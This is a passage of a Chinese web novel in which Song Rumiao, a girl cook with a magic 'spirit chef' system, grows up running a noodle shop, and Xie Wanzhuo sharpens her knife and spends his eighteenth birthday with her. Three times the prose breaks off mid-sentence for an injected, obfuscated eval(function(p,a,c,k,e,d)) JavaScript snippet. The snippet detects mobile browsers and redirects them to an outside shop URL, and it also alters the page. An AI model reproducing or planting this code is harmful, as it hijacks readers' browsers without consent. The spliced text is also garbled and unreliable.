【天赋“灵厨”已开启:融味改良,巧思天成,百味随心化新方。】 【注:以灵力为引,感其物性,悟新法而成。】 宋如淼闭上眼。再睁开时,眼前的食材仿佛有了“生命”。她能“看”到老母鸡汤里过于燥热的火气,也能“看”到那把小青菜里蕴含的微弱生机。 她没有用现成的高汤。 她取了一块最嫩的里脊肉,用刀背细细剁成肉泥,再用清水反复漂洗,直到肉色发白,去尽了腥燥。起锅,烧水,只丢了两颗去核的红枣和一片陈皮。 最后,她指尖微动,心口那簇属于“灵厨”的暖意顺着指尖渗入汤中——不是调味,而是“调和”,将药性与食性完美地揉碎在了一起。 一碗“袖珍云吞”端了上去。汤色清如白水,却散发着一股奇异的甘香。 “试试?”宋如淼蹲下身,轻声哄着,“这个不油,是云朵做的。” 小女孩怯生生地抿了一小口汤。年轻母亲紧张得屏住了呼吸。 一秒,两秒。小女孩没有吐。她的眼睛亮了一下,主动张开嘴:“妈妈,还要。” 那一晚,小女孩吃光了整整一碗云吞。 临走时,年轻母亲连声说“谢谢”,她把钱往柜台上放,哽着嗓子说:“我、我明天还想带她来……行吗?” 宋如淼看着那一家三口离去的背影,听着脑海里【功德值+10】的提示音,嘴角轻轻扬起。 原来,这就是“灵厨”。不是为了炫技,而是为了治愈。 …… 时光是最公平的调味师。三年时间,在四季更迭与汤锅的香气里,悄无声息地溜走了。 这三年里,每逢周五晚上,那个总是冷着脸的谢家少爷会准时出现在店里最角落的位置,默默地摊开两份一模一样的复习资料。 “错题集我给你整理好了,红笔圈出来的是必考点。” 每次宋如淼忙完晚市,累得眼皮打架,趴在桌上耍赖:“晚酌哥哥,我明天还要去挑笋,能不能不写数学?” “不能。”谢晚酌头都不抬,把笔塞进她手里,声音清冷却透着股无奈的纵容,“想要算清以后几百万的流水,先把这道函数题解出来。宋老板,做生意不能只靠厨艺。” 他在用他的方式,逼着她在烟火缭绕中,依然紧紧抓住通向更广阔世界的绳索。 宋如淼十三岁了。 当初那个需要踩着小板凳切菜的小姑娘,如今已经抽条成了少女。围裙的系带在腰后松松系个结,恰好勾勒出她纤细却挺拔的身姿。她的脸褪去稚气,轮廓初显清丽,唯有那双琥珀色的眼睛依旧清澈。 陆明再次推开“如酌”的门时,已从实习生升到了栏目组副组长。 “淼淼,又长高了。”他笑着打量眼前正熟练指挥后厨的少女。 “陆导。”宋如淼倒了杯新调的“陈皮普洱”,“今天怎么有空来?” “有好事。”陆明拿出企划书,“台里准备开个深度纪录片板块——‘归处烟火’。不拍探店,拍故事。我第一个想到的,就是你们。” “妈妈,接吧。”宋如淼看着企划书上那句“人间烟火是热闹,归处是心安”,声音轻柔却坚定。 纪录片播出后,再次引爆全城。客流量大到原本的一层店面彻底不够用了。最夸张的一次,有食客为了抢个座,差点在店门口打起来。李芬嗓子都喊哑了,宋听雅更是急得满嘴燎泡。这一碗面,似乎从“享受”变成了“打仗”。 周六下午,谢晚酌来时,店里刚过午市高峰。宋如淼正趴在二楼小包间的桌上写卷子,时不时揉揉酸痛的手腕。 谢晚酌在她对面坐下。十五岁的少年,肩背已宽阔挺拔,清冷如雪的五官在看向宋如淼时,总会化开一层不易察觉的暖意。 他没说话,直接伸手拉过宋如淼的手腕,指腹轻轻摩挲过上面贴着的跌打膏药。 “疼?”他声音低沉,带着不易察觉的心疼。 “还行。”宋如淼耳根微热,想抽回手,却被他握得稳稳的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157973|195438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 谢晚酌松开手,推过一份文件:“云城东区新综合体的进驻方案。谢氏出资,占股49%,你们控股。运营和管理我们都有现成的团队。” 宋如淼并没有立刻答应。她翻看着那份厚厚的文件,指尖停在“标准化”那一页,眉头微皱:“如果我也把面做成了流水线,那和……” “区别在于标准是谁定的。”谢晚酌似乎早料到她会有此问,他身子微微前倾,目光灼灼地盯着她,“机器没有味觉,但你有。我们要做的不是让机器取代你,而是让机器复制你的味道。” 他顿了顿,补上一句:“建立中央厨房,核心料包由你亲自调配,其他流程标准化。哪怕是一千碗面,只要底料是你调的魂,它就永远是你的味道。” 他视线落在她的膏药上,声音更低了:“你的手是用来创造美味的,不是用来不停切菜的。我想让你轻松一点。” “我不怕累。”宋如淼抬起头,那双琥珀色的眼睛里闪着倔强的光,“但我怕我的客人在门口排队两个小时,最后吃到嘴里的,已经不是最初那个味道了。” “所以,我们才需要用技术去守住味道。”谢晚酌声音笃定,“为了让第一千个客人,也能吃到和你手里这碗一样的味道。” 宋如淼的心跳不明所以地漏了一拍。这份文件,怕是他熬了不知多少个通宵,把她所有的顾虑都预演了一遍才磨出来的。 “还有这个。”谢晚酌又拿出简案,“短视频账号。你定内容,我来推广。你只需在想教的时候分享一点技巧,剩下的,谢氏的团队会打理。” 宋如淼看着眼前这个一脸公事公办、实则满心周全的少年,忽然笑了。 “好,那就合作愉快,谢总。” 少年的手掌干燥温热,握住她的小手时,有种异样的安全感。 …… 三个月后,东区旗舰店开业,短视频粉丝突破百万。 而街对面的“傅味轩”,在定位摇摆与成本压力里,终于把热闹耗尽。旋转门还在,转得却很慢;招牌也亮着,只是亮得有些空。玻璃上贴着一张新纸,字很大——“转让/合作洽谈”。 据说唐安意早在一年前就撤资走人,这家曾经妄图碾压“如酌”的餐厅,终究没能抵过云锦里的烟火人情。 开业庆典那天晚上,宋如淼回到老店,站在窗前看着对面灯箱还亮着,玻璃里却黑着。 谢晚酌走到她身后,递上一杯蜂蜜水。 “在看什么?” “看对面。”宋如淼弯了弯眼睛,“灯灭了。” “嗯。”谢晚酌与她并肩而立,看着窗外长街熙攘,人间热闹。 “晚酌哥哥。你说,以后我们会变成什么样?” 谢晚酌转过头,看着身侧只到自己肩膀的女孩,向来冷淡的眉眼被身后的暖黄灯光晕染得温柔至极。 “还是这样。”他笃定道,“你只管向前走,但我永远会在你身后。” 【渊境积蓄进度:45.5%】 宋如淼没再说话,只把杯子捧稳了些——身后有人把风,她就能放心把火守住。 19.最赚的便签 日子不紧不慢地过,三年时间在“如酌”的灶火与青年的守望下悄然流逝。 又是一年金秋十月。云锦里的梧桐叶铺满青石板路,踩上去沙沙作响,像在给这座城市的烟火气打着节拍。 “如酌汤面”二楼的小包间里,光线正好。 刚刚过完十六岁生日的宋如淼,正趴在光斑里看《陈老手记残卷》。少女身条抽得修长,原本有些婴儿肥的脸颊褪去了稚气,下颌线清晰利落,脖颈在阳光下白得几乎透明。她咬着笔杆,眉头死死锁着,像是在跟纸上的文字较劲。 谢晚酌坐在她对面,翻着一册厚厚的英文书。 十七岁的谢晚酌,彻底褪去了少年的单薄。定制的衬衫包裹着宽阔的肩背,隐约勾勒出流畅的肌肉线条。他有了介于青年与男人之间的挺拔与分寸感。那双瑞凤眼依旧清冷,只是在书页上停留的时间,远没有停留在对面那个毛茸茸的头顶上长。 宋如淼似乎读到了极费解处,下意识抬起手,想去揉发红的眼角——这是她思考时的坏习惯。 手腕在半空被截住了。 谢晚酌的手指修长,骨节分明,掌心带着干燥的温度,精准地扣住她温热的手腕,指腹若有似无地擦过她腕内侧那一小片软肉。 “别揉。”他的嗓音低下去,像贴着耳膜擦过,“切过葱。” 他没松手,反而微微收紧了些,从口袋里掏出湿纸巾,慢条斯理地帮她把指尖一根根擦拭干净。动作太自然熟练,她忘了抽回手,只觉得指尖被他捏得发烫。等热意爬上来,才后知后觉地察觉——他指腹有一层很薄的茧。 “看不懂?”擦完,他才松开,视线扫过那本笔记。 宋如淼回过神,有些沮丧地把下巴磕在桌面上,声音闷闷的:“陈老说‘豚肩之筋,需逆纹三断,再顺纹一抚’。我试了几十次,要么断得太碎,要么抚得不到位,嚼着还是柴。” 她伸出手指比划着:“方爷爷说这是基本功,可我总觉得……我和陈老之间隔着一堵墙。” 谢晚酌看着她皱成一团的小脸,沉默片刻,起身走到窗边。楼下厨房剁肉的声音隐约传来。 “把你那把主厨刀拿来。” “啊?”宋如淼一愣,“现在的刀不快吗?” “刀快,不等于刀合适。” 谢晚酌没多解释,转身下楼。再上来时,手里拎着那个深胡桃色的刀盒——那是他送她的第一套专业刀具。 他没有坐回椅子上,而是直接在她面前的羊毛地毯上席地而坐。长腿随意曲起,单手解开袖扣,将衬衫袖子挽至手肘,露出线条清晰的小臂。 “看好了。” 他取出那把主厨刀,又拿出配套的砥石。阳光斜切进来,落在刀刃上,反射出流水般的寒光。 谢晚酌神色淡然,手腕却沉稳有力。 沙——沙——沙—— 磨刀石与刀锋摩擦的声音规律而低沉,宋如淼看得有些发怔。 她从未见过谢晚酌做这种“粗活”。在她的印象里,这双手更像用来翻书、写字、签合同——而不是压着刀背,一寸寸推过去。 可此刻,那双干净的手压在刀背上,指骨因为用力而微微凸起,手背上的青筋随着动作起伏。一滴汗沿着鼻梁滑到下颌,被他停顿时轻轻抬手抹去。 “青纸钢硬度高,但韧性太强。”谢晚酌一边磨,一边低声道,声音里带着微微的喘息,“你处理豚肩时,为了对抗筋膜的阻力,手腕会不自觉下压。这一压,肉的纹理就死了。” 他停下动作,指腹贴着刀刃轻轻一滑,试了试锋芒。 “所以我把刀背磨薄了些,刃角也收了点。” 他抬起头,把刀递给她:“现在的它,应该能跟上你的手速了,试下。” 宋如淼下意识接过刀。入手的瞬间,一种奇异的“贴合感”顺着掌心蔓延。轻盈、平衡,顺得不可思议,仿佛这把刀原本就属于她。 她震惊地看着他:“你怎么懂这些?还有……刃角改小几度,这得磨多久?” 谢晚酌别过脸,拿起旁边的毛巾擦手:“看了你的录像,觉得不顺手,就随便琢磨了一下。” “琢磨?随便?” 宋如淼眯起眼,目光忽然落在他还没来得及收回去的左手上。 在大拇指和食指的虎口处,贴着两个创可贴。因为刚才沾了水,创可贴边缘翘起,露出一道细长的划痕,周围皮肤被水浸得微微发白。 那是新伤叠着旧伤,在白皙的手背上显得异常刺眼。 宋如淼心口一紧,酸涩感瞬间泛滥,连带着鼻尖都有些泛红。 “谢晚酌。”她突然伸手,一把抓住了他的左手。 谢晚酌身体一僵,下意识想抽回:“脏——” “别动!”宋如淼凶巴巴地喝住了他。 她把他按回原位,自己转身跑去拿医药箱,搬了个小板凳坐在他膝边。 “手伸出来。”她板着脸,语气是不容置疑的严厉。 谢晚酌顿了顿,顺从地伸出手。 宋如淼小心翼翼地揭开湿透的创可贴。底下是几道错综的口子,有的已经结痂,有的还在渗血珠。她拿着棉签沾了碘伏,一点点涂在他的伤口上。 “疼吗?”她垂着眼,睫毛轻轻颤抖,声音软了下来。 谢晚酌低头看着她。从这个角度,能看到她挺翘的鼻尖,和因为心疼而微微抿起的红唇。她身上混着厨房的烟火气和偷吃的桂花糖味,甜得要命。 “不疼。”他喉结滚动,声音有些哑。 “骗人。”宋如淼嘟囔着,凑近了些,对着伤口轻轻呼气,“呼——呼——痛痛飞走。” 温热的气息拂过敏感的虎口,像是电流顺着神经末梢直窜天灵盖。 谢晚酌放在膝盖上的另一只手猛地收紧。他在用尽全力克制着某种呼之欲出的冲动——想把她拉起来,想告诉她,这点伤算什么,为了她,断几根骨头都心甘情愿。 “好了。”宋如淼贴上新的创可贴,这才抬起头。 这一抬头,两人之间的距离近在咫尺。她撞进了一双深不见底的眸子里。“你要是把手磨坏了,我以后拿什么还你?” 谢晚酌肩背一紧,喉结滚了一下。 宋如淼声音努力装得凶:“下次再这样,我就不让你碰我的刀。” 话是这么说,她却把他包扎好的手捧在掌心,像捧着一件很贵重的东西,轻轻放回他膝上。然后才后知后觉地发现——自己一直抓着他的手,抓得太久了。 她猛地收回,摸了摸发烫的耳朵,强装镇定,“我去……我去试试刀!” 她像只受惊的兔子,抱着刀盒跳起来就往楼下跑。 楼下后厨,正是备料的空档期。 被宋如淼请来评菜的方总厨正戴着老花镜在检查高汤的成色,见她风风火火地冲下来,不由得一乐:“怎么了淼淼?火烧眉毛了?” “方爷爷,我想再试一次‘金缕豚肩’。”宋如淼没多解释,径直走到案板前。 帮厨的小王正在旁边切配菜,闻言摇了摇头:“淼淼,那豚肩肉筋多得像渔网,刚才李姨切废了两块都还在骂呢。你那刀……” 宋如淼深吸一口气,打开刀盒,取出了那把被谢晚酌磨过的刀。 当刀刃触碰到豚肩肉的一瞬间,手心一热,没有滞涩,没有阻力。 以往切到筋膜处,手腕总需要暗暗发力去“锯”,可现在,刀刃只是轻轻一压,那些坚韧的白色筋膜就像是遇到了热油的雪,无声无息地断开了。 逆纹三断。 唰、唰、唰。三刀下去,深浅一致,肉片薄如蝉翼却藕断丝连。 顺纹一抚。 宋如淼手腕微转,刀身侧面贴着肌肉纤维轻轻一抹。这一次,她没有感觉到以前那种令人烦躁的反弹力,刀身像自己往该去的地方滑,完美地顺着纹理滑过。 原本紧缩的肉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168103|195438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 质,在这一抚之下竟舒展开来,呈现出一种松弛而饱满的半透明状。 “这……” 旁边传来一声惊叹。宋如淼回过头,发现方总厨不知何时已经摘了老花镜,站在了她身后。老人盯着案板上的肉,又看了看她手里的刀,神色复杂。 “成了?”小王凑过来,眼珠子都快瞪出来了,“淼淼,你这是换手了还是换刀了?这肉切得跟艺术品似的。” 方总厨拿起那把刀,指腹轻轻在刀背上摩挲,目光在看到那明显变薄的刀背和微调过的刃角时,停顿了许久。 “这不是普通的磨刀。”老人把刀轻轻放回宋如淼面前,语气里带着几分感慨,“淼淼啊,磨刀的人,为了让你切这一刀省三分力,自己怕是费了十二分的心。这把刀现在的重心,是完全照着你的手劲改的。” 宋如淼握着刀柄,掌心微微发烫。她想起楼上那个满手伤痕却说“随便琢磨”的青年,鼻尖蓦地一酸。 她没说话,只是转身开了火。 起锅,烧油,爆香。 处理完美的豚肩肉入锅,发出“滋啦”一声悦耳的轻响。这一次,肉片在高温下迅速卷曲成漂亮的“金缕”状,香气霸道地炸裂开来,瞬间填满了整个后厨。 她太高兴了,用托盘盛好,端着热气一路上楼,推门时还喘着。她要让他第一个尝到。 推开包间的门,谢晚酌还维持着刚才的姿势,只是手里的书换成了一份文件。听到动静,他抬起头,目光落在她兴奋的脸上。 “好了?” 宋如淼把托盘放下。盘子里是一份刚出锅的“金缕豚肩”,色泽金黄透亮,每一片肉都像是在发光。旁边还配了一碗热气腾腾的阳春面。 “快尝尝!”她递过筷子,眼睛亮晶晶的。 谢晚酌夹起一片肉,没有急着下口,先抬眼看了她一瞬,像是把她的期待也一并接住。 肉入口,他动作仍旧克制,喉结却轻轻滚了一下;筷子在半空停了半拍,又夹了第二片。 他放下筷子时,目光回到她脸上,那点清冷像被热气熏软,眸色深得发烫。 宋如淼一直屏着的气,这才松开。 “满分。”谢晚酌低声道。 “谢晚酌,你真是我的神仙外挂!”宋如淼笑得眉眼弯弯,“以后我有搞不定的事,都找你好不好?” 他目光落在她脸上,眼底的寒冰尽数化作春水。指尖轻轻挑起她垂落在脸侧的一缕碎发,别到耳后。动作极轻,带着一丝不易察觉的虔诚与眷恋。 “好。” 他在心里默默补了一句:——只要你需要,我永远都在这里。 宋如淼突然想起什么,她在围裙上擦了擦手,从口袋里掏出一样东西。那是一张叠得方方正正的、粉红色的便签纸。 “给。” “这是什么?” “如酌的永久免单券。”宋如淼展开便签,上面画着一个简笔画小人,手里拿着一把刀,旁边写着一行字:【凭此券,宋主厨随叫随到,终身有效。】 “我想了想,我好像没什么能给你的。”宋如淼把便签塞进他衬衫的口袋里,那是离心脏最近的地方,脸颊有些发烫。 “以后你想吃什么,不管多晚,我都给你做。而且随叫随到。” 窗外秋风乍起,卷起几片金黄的落叶,叩在窗棂上,轻轻响。屋内的空气像被桂花糖熬过,甜甜得怎么也散不掉。 谢晚酌低头看着胸口露出的那一点粉色边角,唇角微勾。 “好,那这张券,我可要收好了。这大概是我这辈子,收到过最赚的承诺了。 【渊境积蓄进度:57.5% → 58.8%】 宋如淼看着脑海里跳动的数字,又偷偷瞄了一眼对面正重新拿起书、看似平静却耳根通红的青年。 她摸了摸自己发烫的指尖,指腹上仿佛还留着他薄茧的触感。她悄悄把手攥进袖口,像藏起一颗过甜的糖。 20.成人礼,只赴一盏灯 云城的六月,燥热得人心烦。 半山的谢家公馆,今晚却像一座不肯熄灯的孤岛。从黄昏亮到深夜。水晶灯的光影层叠交错,晃得人眼晕,也把每个人的轮廓照得过分清晰——连笑都像提前练过。 祝词一轮轮递上来,杯沿碰杯沿,笑意叠着笑意。 这一晚,是谢晚酌的十八岁成人礼。 在谢家,成人礼不叫成长,叫“交接”。意味着从今夜零点开始,他不再仅仅是谢家的少爷,更是那份庞大商业版图名正言顺的猎手。 谢晚酌站在光最亮的位置。 他穿着一身由意大利老裁缝手工缝制的深黑色西装,剪裁考究得如同第二层皮肤,领口的温莎结系得一丝不苟,袖口露出恰到好处的两毫米白边。 他手里端着一杯未动的香槟,杯壁凝结的水珠沁入指尖,带来一丝微凉。 他没有喝,只是安静地听着。 “晚酌啊,前程似锦。” “虎父无犬子,将来谢氏在晚驰和你的手里,我们这些老骨头都放心。” “这孩子性格稳,像他爷爷,是个做大事的料。” 这些话,他听了整整一晚,唯独没有人对他说一句:生日快乐。 他微微垂眸,看了一眼不远处的落地钟。 22:15。 那些声音像苍蝇一样在耳边嗡嗡作响,持续了整整四个小时。 他抬手,把领结轻轻扯松半寸。 “失陪。” 酒杯轻轻搁在路过的侍者托盘上,动作优雅得挑不出半点毛病。 “我去换件衣服。” 父亲的目光从人群那端压过来。 谢晚酌没回头,只沿着侧廊往外走。 有人举杯要碰,他微微颔首;有人叫他的名字,他脚步不停,只留下一句“抱歉”。 长廊尽头的门合上时,所有的喧嚣在一瞬间被切断。 管家追上来,声音压得极低:“少爷,董事长——” “我知道。”谢晚酌打断他,“告诉他,我去透口气。” 他没有给对方再开口的机会,从侧门出去。 夜风扑上来,带着热与夜露的潮意,衬衫领口一下被吹起,贴在锁骨上。 司机见他突然出现,吓了一跳:“少爷,您这是——” “去云锦里。”谢晚酌拉开车门,声音里带着不容置疑的决断,“开快点。” 车一路下山,灯火在车窗外迅速后退。越接近,道路越窄,树影越密。 “就停这儿。” 还没到巷口,谢晚酌就叫了停。 “少爷,还有一段路呢,而且这大晚上的……” “在这里等。” 谢晚酌推门下车。 他抬手把袖口卷到小臂,衬衫领口松开两粒扣。夜风带着热浪扑面而来,却让他觉得前所未有的畅快。 他沿着巷子往里走,皮鞋踩在石板上,步子越走越快,最后几乎是在跑。 ——而今晚的宋如淼,把案板上的姜丝摆齐,又拨乱,再摆齐。 方总厨戴着老花镜在拆蟹,刀尖挑开蟹壳的声音细碎利落,像在拨算盘。 老人从镜片上方瞥她一眼,没说话,只把剔好的蟹黄推过去——金灿灿的一小碗。 “方爷爷。”宋如淼声音压得很轻,“您说这碗蟹黄葱油长寿面,我是不是还欠点火候?之前给谢晚酌尝,他都只说还行。” “那小子对谁都只说还行。”方总厨慢悠悠擦手,“你见他夸过谁?” 宋如淼想了想,好像确实没有。 她把蟹黄碗放稳,不再问,低头继续熬汤。 花菇和瑶柱在清汤里咕嘟着,香气一点点渗出来。 她把葱段下锅,火候压得极稳——葱要炸到微金又不能苦,油要香却不能抢汤的清。 蟹黄不直接下锅。 她只取一小勺,在温油里慢慢“化开”,把那点腥与锋都收进去,让它变成一层薄薄的金。 最后再回到清汤里,汤面浮起一点柔软的亮色,像灯下的金线,不张扬,却让人安心。 方总厨看了她一会儿,忽然开口:“你今天怎么这么上心?” 宋如淼手一顿,没抬头:“他十八岁。” 方总厨“哦”了一声,没再追问。 小姑娘的心思,一问就露馅。 宋如淼把面与汤分开装进保温桶,又把那一小碟蟹黄浇头单独封好,端上二楼。 包间的暖黄灯亮着,她把保温桶摆在桌角等着他。 第一碗面还是坨了,她倒掉;第二碗面给方总厨尝了火候;第三碗面她自己吃了,吃的时候一点都不香。 第四碗面,她把保鲜膜压得很紧,像压住一个不肯散的念头。 她看了看表。 23:34。 宋如淼趴在桌上,困意像潮水一样一阵阵袭来。她把脸埋在臂弯里,膝盖上传来一阵阵钻心的酸痛。 今天天还没亮,她就去了城外的普济寺。 寺里的老师傅说,求“平安绳”要走后山那段“诚心坡”。一千零八级台阶,一步一拜,才能把心愿递到菩萨面前。 她在那条路上走了整整三个小时,紧紧攥着那条只值几百的、却又重如千金的红绳。 23:45。 “吱呀——” 木门被推开的一声轻响,把她从困意里拽回来。 宋如淼抬头,视线还有点模糊,就看到门口站着一个高大的身影。 他逆着光,西装外套被他随意拎在手里,白衬衫被汗意贴在背上,领口敞开,锁骨处微微泛红。 胸口起伏很快,喘息压得低,却压不住。 额前的碎发凌乱地垂下来,遮住了眉。 这一刻的他,不像那个高高在上的谢家少爷,倒像是个刚刚私奔回来的落魄贵族。 “谢晚酌?”宋如淼嗓子发颤,“你……你怎么来的?” 谢晚酌没说话。 他反手关上门,隔绝了外面的蝉鸣和燥热。 大步走过来,带着一身夜露的潮气和某种压抑不住的情绪,直接站在了她面前。 “跑了一段,怕赶不上。” “急什么。”宋如淼看着他这副狼狈的样子,心口莫名发酸,“我又不会跑。” “急着见你。”谢晚酌盯着她的眼睛,胸口还在起伏,“这一整天,在那些推杯换盏的时候,我脑子里全是这盏灯。” 他拉开椅子坐下,长腿有些委屈地缩在狭窄的桌下。 整个人像是一张绷紧了太久的弓,终于在这一刻松弛下来。 宋如淼没说话,转身揭开保温桶。 面汤分开装的,她把滚烫的清汤沿着碗壁慢慢注进去。 葱油先冲出来,紧接着是蟹黄那点温软的鲜。香气被热气一拱,霸道地钻进鼻腔。 谢晚酌的眼神在那一瞬间安静下来。 “只有这一碗面了。”宋如淼低声说,“我以为你不来了。” “答应过你的。”谢晚酌接过筷子,热气瞬间模糊了他的睫毛,“哪怕只剩最后一分钟,也要来。” 他低下头,大口吃了起来。 没有餐桌礼仪,没有细嚼慢咽。 鲜甜的蟹粉裹着劲道的面条,顺着喉咙滑下去,熨帖着他空荡荡了一整晚的胃。 宋如淼托着腮坐在对面看他。 灯光下,他眼下的青黑有些明显。 她伸出手指,轻轻碰了碰他衬衫袖口那枚蓝宝石袖扣。 “好闪。”她小声说,“很贵吧?” 谢晚酌动作停了停。 他把口中的面咽下去,放下筷子,抬眼看她。 灯光在他瞳孔里落下一点金色。 “不如这碗面。” 宋如淼的手指还停留在他的袖扣旁,没来得及收回。 下一秒,谢晚酌伸手,握住了她的那根手指。 掌心很烫,扣得很轻,却很稳。 “淼淼。”他叫她名字,声音比刚才更哑一点,“我不太会说好听的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173418|195438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 宋如淼心跳一下乱了,偏偏还要装作镇定:“那就别说。” 谢晚酌看着她,像在确认她真的坐在灯下,真的还在等。 才低声道: “但这一天,我只想来这里。” “这是我的成人礼,我有权选择,这一刻,和谁待在一起。” 宋如淼看着他左手虎口处那道还没好全的细小伤疤,忽然觉得喉咙有些发紧。 她把手抽出来,压低声音:“你先别动。” 她从口袋里掏出那根红绳,中间坠着一小块普济寺的如意金扣。 “伸手。” 谢晚酌顺从地伸出左手,将那只戴着百万名表的手腕递到她面前。 宋如淼低着头,细心地在他腕骨上绕过。 红色的线落在白皙皮肤上,一圈很简单,却像给人套上一个愿望。 她系结时手有点抖,指尖不小心擦过他的脉搏。 那一瞬间,谢晚酌的呼吸沉了一下。 他反手扣住她的手掌,指腹压住她微凉的指尖:“你去普济寺求的?” 宋如淼没抬头,只“嗯”了一声,又怕他误会自己矫情,补了一句:“就……顺路。” 墙上的钟滴答作响。 宋如淼抬眼看了一下时间。 23:59。 “生日快乐,谢晚酌。”宋如淼吸了吸鼻子,认真地说,“岁岁平安。再不说,你生日都过了。” 谢晚酌站起身,绕过桌子走到她面前。 十八岁的他,身形已经完全长开了,高大的影子垂落下来,将娇小的她完全笼罩在自己的领地里。 他俯身,额头轻轻抵在她额头上——很轻的一下,轻到像怕把她惊到,又像把自己这一晚所有的紧绷都放在这里,放在她能承住的范围里。 宋如淼紧张得屏住了呼吸,睫毛颤抖着,闭上了眼。 呼吸里全是他身上的潮热与淡淡的酒味。 “嗯。”他声音极轻,“愿我们,都岁岁平安。” 零点过去,窗外的蝉声好像又大了一点。 宋如淼睁开眼,才发现自己一直捏着他的袖口没松手。 谢晚酌看了一眼她略显疲态的眼角,伸手把她垂下来的碎发拨到耳后。 “下周五,谢氏的沙龙。” 宋如淼还没从那一下回过神:“……嗯?” “穿平底鞋。”他说,“我来接你。” “我自己也能去。”她小声嘀咕,像是在给自己找回点底气。 “那天会有很多人看你。”谢晚酌看着她,停了停,“别紧张。” 宋如淼推了他一下,下巴微扬:“我是谁?我会紧张?我可是以后要拿厨神的宋如淼。” 谢晚酌低低地笑出了声。 那是今晚,他发出的第一个发自内心的笑声。 放在桌上的手机震动了第三次。 屏幕上跳出司机的消息:【少爷,董事长催了。】 他盯着那行字看了两秒,按灭。 “我走了。”他说。 宋如淼“嗯”了一声,又补一句,像怕自己显得太在意:“路上别跑了。” 谢晚酌应了声“好”,拎起外套下楼走到门口。 他又回头看了一眼。 二楼那盏灯仍旧亮着,暖得有点不讲道理。桌上那只空碗还冒着一点余热,像刚才那句“岁岁平安”还没散。 他把手收进裤袋里,红绳贴在腕骨上,带着宋如淼指尖的余温,微微发热。 走到巷口,车灯一亮,司机急忙下车:“少爷,董事长——” 谢晚酌打断他,声音很淡,“走吧。” 车窗升起,半山的灯海被挡在玻璃另一侧。 谢晚酌低头,指腹在红绳结上轻轻摩挲。 他忽然明白,今晚他真正带走的,不是成人礼的酒杯与祝词,而是这根红绳——以及有人愿意为他把灯亮到零点的心。 【渊境积蓄进度:60% → 65%(高光解锁)】 21.被叫做小厨娘 她在名利场穿着硌脚的高跟鞋孤立无援,他却只想给她换上一双舒服的平底鞋;可惜,有人带着法式湿吻和顶级学历,站在了离他更近的地方。 宋如淼那一晚睡得很不踏实。 梦里全是水汽。一会儿是面汤滚沸的白雾,一会儿是暴雨前的低气压。而在那片潮湿里,总有一抹温热挥之不去——就在眉心和额头相抵的那一寸皮肤上。 “愿我们,都岁岁平安。” 声音低沉,像从很近的地方落下来。 宋如淼猛地睁开眼,从床上弹起来。窗外的蝉鸣声已经噪得不行,晨光透过薄窗帘刺进来,热辣辣的。 她抬手,用力搓了搓额头,直到把那一块皮肤搓得发红发烫,试图盖过记忆里那点残留的触感。 “神经病啊谢晚酌……”她把脸埋进枕头里,闷声骂了一句,“是发烧把脑子烧坏了么。” 洗漱时,冷水泼在脸上,她看着镜子里的自己:眼下两团淡淡的乌青,头发乱蓬蓬的像个鸟窝。 他们认识快十年了,从七岁到十六岁。他帮她查资料、改刀具、签合同、铺渠道,连谢氏那条叫“如酌”的新品牌线,都是他一手推起来的。她帮他养胃、调作息、试新菜,去年他胃痉挛住院,她在病房守了整夜,第二天肿着眼皮上学。 他们是朋友。 是最好的合作伙伴。 是最—— 那个“最”字后面是什么,她不敢想,也没空想。 宋如淼深吸一口气,拍了拍脸颊。 清醒点,宋如淼。你是来攒功德的,你是要飞升当厨神的。这周末还要拍“金缕豚肩”的教学视频,哪有空想这些有的没的。 …… 早晨八点,云锦里的热浪已经开始卷边了。 宋如淼骑着她的二手小电驴停在“如酌”后门,刚进后厨,冷气扑面而来。 李芬正在备菜,见她进来一愣:“淼淼,脸色怎么这么差?昨晚做贼去了?” “想菜谱想的。”宋如淼面不改色,系上围裙,熟练地取刀,“李姨,留的那块雪花猪颈肉呢?” “在冷柜二层。” 当那把青纸钢刀握进掌心时,宋如淼心里的那些乱麻终于静了。 刀刃贴肉,阻力恰好。 她手腕轻转,逆纹三断,顺纹一抚。薄如蝉翼的肉片在案板上依次铺开,透光可见细密的粉红纹理。 只要手里有刀,她就是安全的。这里才是她的疆土,不是那座半山公馆,也不是那个午夜包间。 …… 周四傍晚,宋如淼窝在二楼包间剪视频。 平板架在桌上,她把第三版片头又删了。素材拍了两个小时,可剪出来总觉得太“匠气”,缺了点灵魂。 门口传来很轻的脚步声,她没抬头,以为是小王上来送水:“放那儿就行。” 脚步声没停,一直走到她身后。 下一秒,一只修长的手从她肩侧伸过来,指尖干净,指甲修剪得圆润整齐,直接点在了屏幕上那条调得过长的音频轨上。 